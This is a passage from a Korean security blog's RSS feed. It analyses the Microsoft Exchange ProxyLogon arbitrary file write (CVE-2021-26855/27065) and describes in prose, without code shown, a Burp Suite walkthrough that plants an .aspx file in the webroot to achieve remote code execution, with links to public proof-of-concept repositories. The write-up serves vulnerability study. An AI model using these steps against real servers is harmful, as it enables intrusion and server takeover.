&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;434&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;226&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cI70JY/btre5PwQ9A1/GQ1vmaTAiQj6SycquOCN21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cI70JY/btre5PwQ9A1/GQ1vmaTAiQj6SycquOCN21/img.png&quot; data-alt=&quot;로그인된 세션 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cI70JY/btre5PwQ9A1/GQ1vmaTAiQj6SycquOCN21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcI70JY%2Fbtre5PwQ9A1%2FGQ1vmaTAiQj6SycquOCN21%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;434&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;226&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;로그인된 세션 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# CVE-2021-26855&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- &lt;b&gt;Arbitrary File Write(임의의 파일 작성)&lt;/b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 원하는 위치에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 실행이 가능한 .aspx 파일을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성할 수 있는 취약점 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파일에 웹쉘이 포함된 것은 아니며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파일에 접근할 때, 웹쉘 코드를 포함시켜&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;RCE를 발생시킬 수 있는 취약점 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;OAB 가상 디렉토리 재설정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점은 Exchange 관리 센터에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OAB 가상 디렉토리의 위치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재설정할 때 발생합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;881&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;458&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHXedU/btrfhqkbCWm/bjrN03ZqPfmG7T0OFgDLUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHXedU/btrfhqkbCWm/bjrN03ZqPfmG7T0OFgDLUk/img.png&quot; data-alt=&quot;OAB 가상 디렉터리 재설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHXedU/btrfhqkbCWm/bjrN03ZqPfmG7T0OFgDLUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHXedU%2FbtrfhqkbCWm%2FbjrN03ZqPfmG7T0OFgDLUk%2Fimg.png&quot; data-origin-width=&quot;961&quot; data-origin-height=&quot;881&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;458&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;OAB 가상 디렉터리 재설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;ControlPanel.dll - DDIService.WriteFileActivity.Run&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OAB 가상 디렉터리 재설정 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 설정을 저장하게 되며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WriteFileActivity Class의 Run 메소드에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 코드를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;280&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;147&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cO9X6F/btrfgZUXeRR/MJqTk10if31Rb8sGMMB59k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cO9X6F/btrfgZUXeRR/MJqTk10if31Rb8sGMMB59k/img.png&quot; data-alt=&quot;WriteFileActivity.Run()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cO9X6F/btrfgZUXeRR/MJqTk10if31Rb8sGMMB59k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcO9X6F%2FbtrfgZUXeRR%2FMJqTk10if31Rb8sGMMB59k%2Fimg.png&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;280&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;147&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WriteFileActivity.Run()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 생성 위치는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OutputFileNameVariable 값에서 가져오지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 과정에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로 및 확장자를 검토하는 코드가 없어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 원하는 위치에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원하는 확장자로 파일을 생성할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;취약점 Point.&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 생성되는 위치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자로 부터 받아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 생성하는 과정에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 &lt;u&gt;&lt;b&gt;위치나 확장자 등을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;검토하는 코드가 없어서&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;공격자가 원하는 위치에&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;원하는 확장자로 생성이 가능&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;수동 테스트&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Proxy Tool인 Burp Suite를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직접 취약점을 테스트한 결과입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 1) 우선, 생성된 파일로 접근할 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘 코드를 실행시킬 수 있도록&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 URL의 값을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 코드로 설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;271&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;520&quot; data-filename=&quot;1.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCXNgt/btrfiE29rcB/nrGfhTkTnab8nA7YQ7kxuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCXNgt/btrfiE29rcB/nrGfhTkTnab8nA7YQ7kxuK/img.png&quot; data-alt=&quot;파일 실행 코드 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCXNgt/btrfiE29rcB/nrGfhTkTnab8nA7YQ7kxuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCXNgt%2FbtrfiE29rcB%2FnrGfhTkTnab8nA7YQ7kxuK%2Fimg.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;520&quot; data-filename=&quot;1.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 실행 코드 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 2) OAB 가상 디렉터리의 위치를 재설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재설정 시 파일이 생성되는 위치를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 브라우저로 접속 가능한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End site의 웹루트 폴더로 지정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;379&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciYgqh/btrfltGzoUN/PfEr5I9cWxDoJDzB0YHJkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciYgqh/btrfltGzoUN/PfEr5I9cWxDoJDzB0YHJkK/img.png&quot; data-alt=&quot;파일 생성 시도&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciYgqh/btrfltGzoUN/PfEr5I9cWxDoJDzB0YHJkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciYgqh%2FbtrfltGzoUN%2FPfEr5I9cWxDoJDzB0YHJkK%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;379&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;271&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 생성 시도&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 3) Proxy Tool을 사용하여 패킷을 가로챈 후,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FilePathName 파라미터의 내용을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End site의 웹루트 경로와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 가능한 확장자(.aspx)로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정하고 재전송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;582&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr551N/btrfhIybO6d/sCnXS1xIfptkYKVaBkZ2ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr551N/btrfhIybO6d/sCnXS1xIfptkYKVaBkZ2ck/img.png&quot; data-alt=&quot;파일 경로 및 확장자 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr551N/btrfhIybO6d/sCnXS1xIfptkYKVaBkZ2ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr551N%2FbtrfhIybO6d%2FsCnXS1xIfptkYKVaBkZ2ck%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;582&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;303&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 경로 및 확장자 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 4) 성공적으로 RCE 취약점이 가능한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일이 생성됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘을 생성한 것이 아니기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일의 내용은 평범합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;410&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;214&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wIgI1/btrfhfDinIC/7kPAymmEASJ9Ctiu7N2Xrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wIgI1/btrfhfDinIC/7kPAymmEASJ9Ctiu7N2Xrk/img.png&quot; data-alt=&quot;파일 생성 완료&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wIgI1/btrfhfDinIC/7kPAymmEASJ9Ctiu7N2Xrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwIgI1%2FbtrfhfDinIC%2F7kPAymmEASJ9Ctiu7N2Xrk%2Fimg.png&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;410&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;214&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파일 생성 완료&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Step 5) 생성된 파일로 접근 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹쉘 코드를 포함하여 전송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서는 해당 코드를 실행한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 결과를 HTTP Response에 포함하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자에게 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;589&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;307&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv7feS/btrfhczJ17I/6BJlBY2dFpQyCa8Yf2wyck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv7feS/btrfhczJ17I/6BJlBY2dFpQyCa8Yf2wyck/img.png&quot; data-alt=&quot;원격 코드 실행(RCE) 성공&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv7feS/btrfhczJ17I/6BJlBY2dFpQyCa8Yf2wyck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv7feS%2FbtrfhczJ17I%2F6BJlBY2dFpQyCa8Yf2wyck%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;589&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;307&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;원격 코드 실행(RCE) 성공&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 보안 패치는 다음 글에서...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안 패치에 관한 내용은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 포스팅에서 이어서 하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;관련 글&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/153&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/154&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/157&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.10.14 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 참고 사이트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;http://cn-sec.com/archives/531520.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://cn-sec.com/archives/531520.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://githubmemory.com/repo/alt3kx/CVE-2021-26855_PoC&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://githubmemory.com/repo/alt3kx/CVE-2021-26855_PoC&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/conjojo/Microsoft_Exchange_Server_SSRF_CVE-2021-26855/blob/master/Microsoft_Exchange_Server_SSRF_CVE-2021-26855.py&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/conjojo/Microsoft_Exchange_Server_SSRF_CVE-2021-26855/blob/master/Microsoft_Exchange_Server_SSRF_CVE-2021-26855.py&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CVE PoC Test</category>
      <category>CVE-2021-26855</category>
      <category>CVE-2021-27065</category>
      <category>EXCHANGE</category>
      <category>Microsoft</category>
      <category>ProxyLogon</category>
      <category>RCE</category>
      <category>SSRF</category>
      <category>원격 코드 실행</category>
      <category>취약점</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/154</guid>
      <comments>https://chmodi.tistory.com/154#entry154comment</comments>
      <pubDate>Thu, 9 Sep 2021 10:37:43 +0900</pubDate>
    </item>
    <item>
      <title>Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개</title>
      <link>https://chmodi.tistory.com/153</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;2021년 1월,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Microsoft 사의 Exchange에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 다수 발견되었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CVE-2021-26855와&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CVE-2021-27065를&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ProxyLogon 취약점&lt;/b&gt;에 대해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소개하려고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# ProxyLogon 취약점이란...&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
